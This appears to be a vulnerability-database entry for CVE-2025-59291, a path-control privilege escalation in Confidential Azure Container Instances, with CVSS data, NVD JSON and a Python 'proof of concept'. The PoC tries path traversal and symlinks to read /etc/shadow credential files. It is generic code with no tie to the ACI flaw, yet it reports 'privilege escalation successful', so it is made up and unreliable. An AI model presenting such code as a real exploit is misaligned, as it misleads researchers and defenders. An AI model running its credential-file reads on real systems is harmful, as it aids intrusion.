Security Vulnerability Report
中文
CVE-2025-59291 CVSS 8.2 HIGH

CVE-2025-59291

Published: 2025-10-14 17:16:12
Last Modified: 2025-10-17 15:31:58

Description

External control of file name or path in Confidential Azure Container Instances allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_compute_gallery:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Azure Container Instances(Confidential ACI)- 所有未应用2025年10月安全更新之前的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59291 PoC - Conceptual Proof of Concept # Vulnerability: External Control of File Name or Path in Confidential Azure Container Instances # Type: Privilege Escalation via Path Manipulation (CWE-73) import os import subprocess def exploit_path_traversal(target_path): """ Exploit external control of file name or path to escalate privileges in Confidential Azure Container Instances. """ # Step 1: Craft a malicious path with traversal sequences # The vulnerable component fails to sanitize path inputs malicious_path = "/var/lib/container/../../../etc/shadow" # Step 2: Attempt to read/write to protected resources # using the externally controlled path try: # Simulate the vulnerable file operation # In real scenario, this would be through ACI's internal APIs result = subprocess.run( ["cat", malicious_path], capture_output=True, text=True, timeout=5 ) if result.returncode == 0: print(f"[+] Successfully accessed: {malicious_path}") print(f"[+] Content: {result.stdout[:200]}") return True except Exception as e: print(f"[-] Direct traversal failed: {e}") return False def exploit_symlink_attack(): """ Alternative exploitation via symbolic link manipulation """ # Create a symlink pointing to sensitive host files symlink_path = "/tmp/container_data/sensitive_link" target = "/host/etc/shadow" try: os.symlink(target, symlink_path) print(f"[+] Symlink created: {symlink_path} -> {target}") # Access through the symlink to bypass restrictions with open(symlink_path, 'r') as f: content = f.read() print(f"[+] Accessed sensitive data via symlink") return True except Exception as e: print(f"[-] Symlink attack failed: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-59291 PoC") print("[*] Target: Confidential Azure Container Instances") print("[*] Requires: High privileges within container (PR:H)") print("-" * 50) # Attempt path traversal exploitation if exploit_path_traversal("/etc/shadow"): print("[+] Privilege escalation successful via path traversal!") # Attempt symlink-based exploitation elif exploit_symlink_attack(): print("[+] Privilege escalation successful via symlink attack!") else: print("[-] Exploitation attempts completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59291", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:12.360", "lastModified": "2025-10-17T15:31:57.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "External control of file name or path in Confidential Azure Container Instances allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_compute_gallery:-:*:*:*:*:*:*:*", "matchCriteriaId": "C376C1DE-E5D6-45E1-8E7A-32F35136EADE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59291", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}